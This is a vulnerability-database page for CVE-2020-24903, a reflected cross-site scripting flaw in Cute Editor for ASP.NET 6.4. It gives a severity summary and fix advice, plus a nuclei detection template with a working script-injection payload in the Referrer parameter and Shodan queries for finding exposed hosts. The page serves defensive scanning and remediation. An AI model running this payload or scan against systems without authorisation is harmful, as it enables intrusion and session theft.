HexBrain

Browse / CVEs / CVE-2020-24903

CVE-2020-24903· cutesoft / cute editor· CWE-79

Cute Editor for ASP.NET 6.4 - Cross-Site Scripting

mediumseverity
6.1CVSS score
3%likelihood of exploitation, next 30 days
87%of all CVEs are less likely
Readycheck to confirm it

Cute Editor for ASP.NET 6.4 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.

Fix

Upgrade to a patched version of Cute Editor for ASP.NET or implement proper input validation to prevent XSS attacks.

How to confirm it

Send: GET {{BaseURL}}/CuteSoft_Client/CuteEditor/Template.aspx?Referrer=XSS";><script>alert(document.domain)</script>
Positive when: contains "<script>alert(document.domain)</script></p>" and "System.Web" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2020-24903 -u <target>

The full check
id: CVE-2020-24903

info:
  name: Cute Editor for ASP.NET 6.4 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    Cute Editor for ASP.NET 6.4 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to a patched version of Cute Editor for ASP.NET or implement proper input validation to prevent XSS attacks.
  reference:
    - https://seclists.org/bugtraq/2016/Mar/104
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24903
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-24903
    cwe-id: CWE-79
    epss-score: 0.02982
    epss-percentile: 0.87404
    cpe: cpe:2.3:a:cutesoft:cute_editor:6.4:*:*:*:*:asp.net:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cutesoft
    product: cute_editor
    framework: asp.net
    shodan-query:
      - http.component:"ASP.NET"
      - http.component:"asp.net"
  tags: cve,cve2020,cuteeditor,xss,seclists,cutesoft,asp.net,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/CuteSoft_Client/CuteEditor/Template.aspx?Referrer=XSS";><script>alert(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script></p>"
          - "System.Web"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from